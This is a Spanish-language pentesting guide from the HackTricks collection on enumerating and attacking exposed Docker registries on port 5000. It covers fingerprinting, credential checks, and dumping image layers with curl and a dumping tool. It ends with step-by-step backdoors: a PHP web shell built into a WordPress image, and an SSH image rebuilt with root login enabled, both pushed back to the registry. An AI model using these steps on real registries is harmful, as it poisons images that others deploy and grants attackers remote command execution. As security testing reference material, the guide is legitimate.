hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

16 KiB

5000 - Pentesting Docker Registry

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Información básica

Información de aquí.

Un registro de Docker es un sistema de almacenamiento y distribución para imágenes de Docker con nombre. La misma imagen puede tener varias versiones diferentes, identificadas por sus etiquetas.
Un registro de Docker está organizado en repositorios de Docker, donde un repositorio contiene todas las versiones de una imagen específica. El registro permite a los usuarios de Docker descargar imágenes localmente, así como subir nuevas imágenes al registro (dadas las permisiones de acceso adecuadas cuando corresponda).

Por defecto, el motor de Docker interactúa con DockerHub, la instancia de registro público de Docker. Sin embargo, es posible ejecutar en local el registro/distribución de Docker de código abierto, así como una versión con soporte comercial llamada Docker Trusted Registry. Hay otros registros públicos disponibles en línea.

Para descargar una imagen de un registro local, se podría ejecutar un comando similar a:

docker pull my-registry:9000/foo/bar:2.1

Si deseas obtener la versión de la imagen foo/bar con la etiqueta 2.1 desde nuestro registro localizado en el dominio my-registry y el puerto 9000, puedes utilizar el siguiente comando:

docker pull my-registry:9000/foo/bar:2.1

En caso de que estuvieras utilizando DockerHub y la versión 2.1 fuera la última disponible, podrías ejecutar el siguiente comando para obtener la misma imagen localmente:

docker pull foo/bar:2.1
docker pull foo/bar

Puerto predeterminado: 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

Descubrimiento

La forma más fácil de descubrir si este servicio está en ejecución es obtenerlo en la salida de nmap. De todos modos, tenga en cuenta que como es un servicio basado en HTTP, puede estar detrás de proxies HTTP y nmap no lo detectará.
Algunas huellas:

  • Si accede a /, no se devuelve nada en la respuesta.
  • Si accede a /v2/, se devuelve {}.
  • Si accede a /v2/_catalog, puede obtener:
    • {"repositories":["alpine","ubuntu"]}
    • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Enumeración

HTTP/HTTPS

El registro de Docker puede estar configurado para usar HTTP o HTTPS. Por lo tanto, lo primero que debe hacer es encontrar cuál se está configurando:

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

Autenticación

El registro de Docker también puede estar configurado para requerir autenticación:

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

Si el Registro de Docker requiere autenticación, puedes intentar hacer fuerza bruta usando esto (../generic-methodologies-and-resources/brute-force.md#docker-registry).

Si encuentras credenciales válidas, necesitarás usarlas para enumerar el registro. En curl puedes usarlas de la siguiente manera:

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Enumeración usando DockerRegistryGrabber

DockerRegistryGrabber es una herramienta de Python para enumerar / volcar registros de Docker (con o sin autenticación básica).

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888


python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Enumeración usando curl

Una vez que has obtenido acceso al registro de Docker, aquí hay algunos comandos que puedes usar para enumerarlo:

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
   "schemaVersion": 1,
   "name": "ubuntu",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
      }
   ],
   "history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
      },
      {
         "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
               "kty": "EC",
               "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
               "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
            },
            "alg": "ES256"
         },
         "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
      }
   ]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

{% hint style="warning" %} Ten en cuenta que cuando descargues y descomprimas los archivos blobs, aparecerán archivos y carpetas en el directorio actual. Si descargas todos los blobs y los descomprimes en la misma carpeta, sobrescribirán los valores de los blobs previamente descomprimidos, así que ten cuidado. Puede ser interesante descomprimir cada blob dentro de una carpeta diferente para inspeccionar el contenido exacto de cada blob. {% endhint %}

Enumeración usando docker

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB              
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B                  
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B                  
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B                
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB       

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

Creando una puerta trasera en una imagen de WordPress

En el escenario en el que se ha encontrado un Docker Registry que guarda una imagen de WordPress, se puede crear una puerta trasera.
Crea la puerta trasera:

{% code title="shell.php" %}

<?php echo shell_exec($_GET["cmd"]); ?>

{% endcode %}

Crea un Dockerfile:

{% code title="Dockerfile" %}

FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

{% endcode %}

Crear la nueva imagen, verificar que se ha creado y subirla:

docker build -t 10.10.10.10:5000/wordpress .
 #Create
docker images
docker push registry:5000/wordpress #Push it

Instalando una puerta trasera en una imagen de servidor SSH

Supongamos que encontraste un Docker Registry con una imagen de SSH y quieres instalar una puerta trasera.
Descarga la imagen y ejecútala:

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

Extrae el archivo sshd_config de la imagen SSH:

docker cp 4c989242c714:/etc/ssh/sshd_config .

Y modifíquelo para establecer: PermitRootLogin yes

Cree un Dockerfile como el siguiente:

{% tabs %} {% tab title="Dockerfile" %}

FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

{% endtab %} {% endtabs %}

Crea la nueva imagen, verifica que se haya creado y súbela:

docker build -t 10.10.10.10:5000/sshd-docker-cli .
 #Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥